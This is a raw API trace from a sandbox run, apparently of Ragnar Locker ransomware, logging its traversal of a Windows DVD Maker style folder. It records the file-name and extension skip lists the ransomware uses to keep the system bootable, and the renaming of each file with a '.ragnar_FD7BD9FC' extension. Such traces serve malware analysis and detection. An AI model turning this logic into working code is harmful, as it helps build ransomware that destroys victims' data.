lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png.ragnar_FD7BD9FC" [0078.759] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.760] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75d, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0078.760] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.760] lstrcpyW (in: lpString1=0x1eab5a, lpString2="button-highlight.png" | out: lpString1="button-highlight.png") returned="button-highlight.png" [0078.760] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png") returned=".png" [0078.760] lstrcmpiW (lpString1="button-highlight.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.760] lstrcmpiW (lpString1="button-highlight.png", lpString2="autorun.inf") returned 1 [0078.760] lstrcmpiW (lpString1="button-highlight.png", lpString2="boot.ini") returned 1 [0078.760] lstrcmpiW (lpString1="button-highlight.png", lpString2="bootfont.bin") returned 1 [0078.760] lstrcmpiW (lpString1="button-highlight.png", lpString2="bootsect.bak") returned 1 [0078.760] lstrcmpiW (lpString1="button-highlight.png", lpString2="bootmgr") returned 1 [0078.760] lstrcmpiW (lpString1="button-highlight.png", lpString2="bootmgr.efi") returned 1 [0078.760] lstrcmpiW (lpString1="button-highlight.png", lpString2="bootmgfw.efi") returned 1 [0078.760] lstrcmpiW (lpString1="button-highlight.png", lpString2="desktop.ini") returned -1 [0078.760] lstrcmpiW (lpString1="button-highlight.png", lpString2="iconcache.db") returned -1 [0078.760] lstrcmpiW (lpString1="button-highlight.png", lpString2="ntldr") returned -1 [0078.760] lstrcmpiW (lpString1="button-highlight.png", lpString2="ntuser.dat") returned -1 [0078.760] lstrcmpiW (lpString1="button-highlight.png", lpString2="ntuser.dat.log") returned -1 [0078.760] lstrcmpiW (lpString1="button-highlight.png", lpString2="ntuser.ini") returned -1 [0078.760] lstrcmpiW (lpString1="button-highlight.png", lpString2="thumbs.db") returned -1 [0078.760] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.760] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.760] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.760] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.760] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.760] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.760] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png")) returned 0x20 [0078.760] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.760] CloseHandle (hObject=0xffffffff) returned 0 [0078.761] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" [0078.761] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png.ragnar_FD7BD9FC" [0078.761] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.761] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729d59b7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729d59b7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a39de7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x0, dwReserved1=0x0, cFileName="chapters-static.png", cAlternateFileName="")) returned 1 [0078.761] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.761] lstrcpyW (in: lpString1=0x1eab5a, lpString2="chapters-static.png" | out: lpString1="chapters-static.png") returned="chapters-static.png" [0078.761] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png") returned=".png" [0078.761] lstrcmpiW (lpString1="chapters-static.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.761] lstrcmpiW (lpString1="chapters-static.png", lpString2="autorun.inf") returned 1 [0078.761] lstrcmpiW (lpString1="chapters-static.png", lpString2="boot.ini") returned 1 [0078.761] lstrcmpiW (lpString1="chapters-static.png", lpString2="bootfont.bin") returned 1 [0078.761] lstrcmpiW (lpString1="chapters-static.png", lpString2="bootsect.bak") returned 1 [0078.761] lstrcmpiW (lpString1="chapters-static.png", lpString2="bootmgr") returned 1 [0078.761] lstrcmpiW (lpString1="chapters-static.png", lpString2="bootmgr.efi") returned 1 [0078.761] lstrcmpiW (lpString1="chapters-static.png", lpString2="bootmgfw.efi") returned 1 [0078.761] lstrcmpiW (lpString1="chapters-static.png", lpString2="desktop.ini") returned -1 [0078.761] lstrcmpiW (lpString1="chapters-static.png", lpString2="iconcache.db") returned -1 [0078.761] lstrcmpiW (lpString1="chapters-static.png", lpString2="ntldr") returned -1 [0078.761] lstrcmpiW (lpString1="chapters-static.png", lpString2="ntuser.dat") returned -1 [0078.761] lstrcmpiW (lpString1="chapters-static.png", lpString2="ntuser.dat.log") returned -1 [0078.761] lstrcmpiW (lpString1="chapters-static.png", lpString2="ntuser.ini") returned -1 [0078.761] lstrcmpiW (lpString1="chapters-static.png", lpString2="thumbs.db") returned -1 [0078.761] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.761] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.761] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.761] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.761] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.761] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.761] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.761] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png")) returned 0x20 [0078.762] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.762] CloseHandle (hObject=0xffffffff) returned 0 [0078.762] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" [0078.762] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png.ragnar_FD7BD9FC" [0078.762] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.762] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729fbb14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729fbb14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4aba6851, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8df12, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0078.762] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.762] lstrcpyW (in: lpString1=0x1eab5a, lpString2="content-background.png" | out: lpString1="content-background.png") returned="content-background.png" [0078.763] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned=".png" [0078.763] lstrcmpiW (lpString1="content-background.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.763] lstrcmpiW (lpString1="content-background.png", lpString2="autorun.inf") returned 1 [0078.763] lstrcmpiW (lpString1="content-background.png", lpString2="boot.ini") returned 1 [0078.763] lstrcmpiW (lpString1="content-background.png", lpString2="bootfont.bin") returned 1 [0078.763] lstrcmpiW (lpString1="content-background.png", lpString2="bootsect.bak") returned 1 [0078.763] lstrcmpiW (lpString1="content-background.png", lpString2="bootmgr") returned 1 [0078.763] lstrcmpiW (lpString1="content-background.png", lpString2="bootmgr.efi") returned 1 [0078.763] lstrcmpiW (lpString1="content-background.png", lpString2="bootmgfw.efi") returned 1 [0078.763] lstrcmpiW (lpString1="content-background.png", lpString2="desktop.ini") returned -1 [0078.763] lstrcmpiW (lpString1="content-background.png", lpString2="iconcache.db") returned -1 [0078.763] lstrcmpiW (lpString1="content-background.png", lpString2="ntldr") returned -1 [0078.763] lstrcmpiW (lpString1="content-background.png", lpString2="ntuser.dat") returned -1 [0078.763] lstrcmpiW (lpString1="content-background.png", lpString2="ntuser.dat.log") returned -1 [0078.763] lstrcmpiW (lpString1="content-background.png", lpString2="ntuser.ini") returned -1 [0078.763] lstrcmpiW (lpString1="content-background.png", lpString2="thumbs.db") returned -1 [0078.763] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.763] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.763] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.763] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.763] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.763] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.763] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.763] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png")) returned 0x20 [0078.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.763] CloseHandle (hObject=0xffffffff) returned 0 [0078.763] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" [0078.763] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png.ragnar_FD7BD9FC" [0078.764] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.764] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a47dce, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a47dce, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="content-foreground.png", cAlternateFileName="")) returned 1 [0078.764] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.764] lstrcpyW (in: lpString1=0x1eab5a, lpString2="content-foreground.png" | out: lpString1="content-foreground.png") returned="content-foreground.png" [0078.764] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png") returned=".png" [0078.764] lstrcmpiW (lpString1="content-foreground.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.764] lstrcmpiW (lpString1="content-foreground.png", lpString2="autorun.inf") returned 1 [0078.764] lstrcmpiW (lpString1="content-foreground.png", lpString2="boot.ini") returned 1 [0078.764] lstrcmpiW (lpString1="content-foreground.png", lpString2="bootfont.bin") returned 1 [0078.764] lstrcmpiW (lpString1="content-foreground.png", lpString2="bootsect.bak") returned 1 [0078.764] lstrcmpiW (lpString1="content-foreground.png", lpString2="bootmgr") returned 1 [0078.764] lstrcmpiW (lpString1="content-foreground.png", lpString2="bootmgr.efi") returned 1 [0078.764] lstrcmpiW (lpString1="content-foreground.png", lpString2="bootmgfw.efi") returned 1 [0078.764] lstrcmpiW (lpString1="content-foreground.png", lpString2="desktop.ini") returned -1 [0078.764] lstrcmpiW (lpString1="content-foreground.png", lpString2="iconcache.db") returned -1 [0078.764] lstrcmpiW (lpString1="content-foreground.png", lpString2="ntldr") returned -1 [0078.764] lstrcmpiW (lpString1="content-foreground.png", lpString2="ntuser.dat") returned -1 [0078.764] lstrcmpiW (lpString1="content-foreground.png", lpString2="ntuser.dat.log") returned -1 [0078.764] lstrcmpiW (lpString1="content-foreground.png", lpString2="ntuser.ini") returned -1 [0078.764] lstrcmpiW (lpString1="content-foreground.png", lpString2="thumbs.db") returned -1 [0078.764] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.764] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.764] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.764] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.764] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.764] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.764] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png")) returned 0x20 [0078.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.765] CloseHandle (hObject=0xffffffff) returned 0 [0078.765] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" [0078.765] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png.ragnar_FD7BD9FC" [0078.765] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.765] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1 [0078.765] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.765] lstrcpyW (in: lpString1=0x1eab5a, lpString2="curtains.png" | out: lpString1="curtains.png") returned="curtains.png" [0078.765] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png") returned=".png" [0078.765] lstrcmpiW (lpString1="curtains.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.765] lstrcmpiW (lpString1="curtains.png", lpString2="autorun.inf") returned 1 [0078.765] lstrcmpiW (lpString1="curtains.png", lpString2="boot.ini") returned 1 [0078.765] lstrcmpiW (lpString1="curtains.png", lpString2="bootfont.bin") returned 1 [0078.765] lstrcmpiW (lpString1="curtains.png", lpString2="bootsect.bak") returned 1 [0078.765] lstrcmpiW (lpString1="curtains.png", lpString2="bootmgr") returned 1 [0078.765] lstrcmpiW (lpString1="curtains.png", lpString2="bootmgr.efi") returned 1 [0078.765] lstrcmpiW (lpString1="curtains.png", lpString2="bootmgfw.efi") returned 1 [0078.765] lstrcmpiW (lpString1="curtains.png", lpString2="desktop.ini") returned -1 [0078.765] lstrcmpiW (lpString1="curtains.png", lpString2="iconcache.db") returned -1 [0078.765] lstrcmpiW (lpString1="curtains.png", lpString2="ntldr") returned -1 [0078.765] lstrcmpiW (lpString1="curtains.png", lpString2="ntuser.dat") returned -1 [0078.765] lstrcmpiW (lpString1="curtains.png", lpString2="ntuser.dat.log") returned -1 [0078.765] lstrcmpiW (lpString1="curtains.png", lpString2="ntuser.ini") returned -1 [0078.765] lstrcmpiW (lpString1="curtains.png", lpString2="thumbs.db") returned -1 [0078.765] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0078.765] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0078.765] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0078.765] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0078.765] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0078.765] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0078.765] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0078.765] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png")) returned 0x20 [0078.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.766] CloseHandle (hObject=0xffffffff) returned 0 [0078.766] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" [0078.766] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png.ragnar_FD7BD9FC" [0078.766] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.766] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1 [0078.766] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0078.766] lstrcpyW (in: lpString1=0x1eab5a, lpString2="flower_precomp_matte.wmv" | out: lpString1="flower_precomp_matte.wmv") returned="flower_precomp_matte.wmv" [0078.766] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned=".wmv" [0078.766] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.766] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="autorun.inf") returned 1 [0078.766] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="boot.ini") returned 1 [0078.766] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="bootfont.bin") returned 1 [0078.766] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="bootsect.bak") returned 1 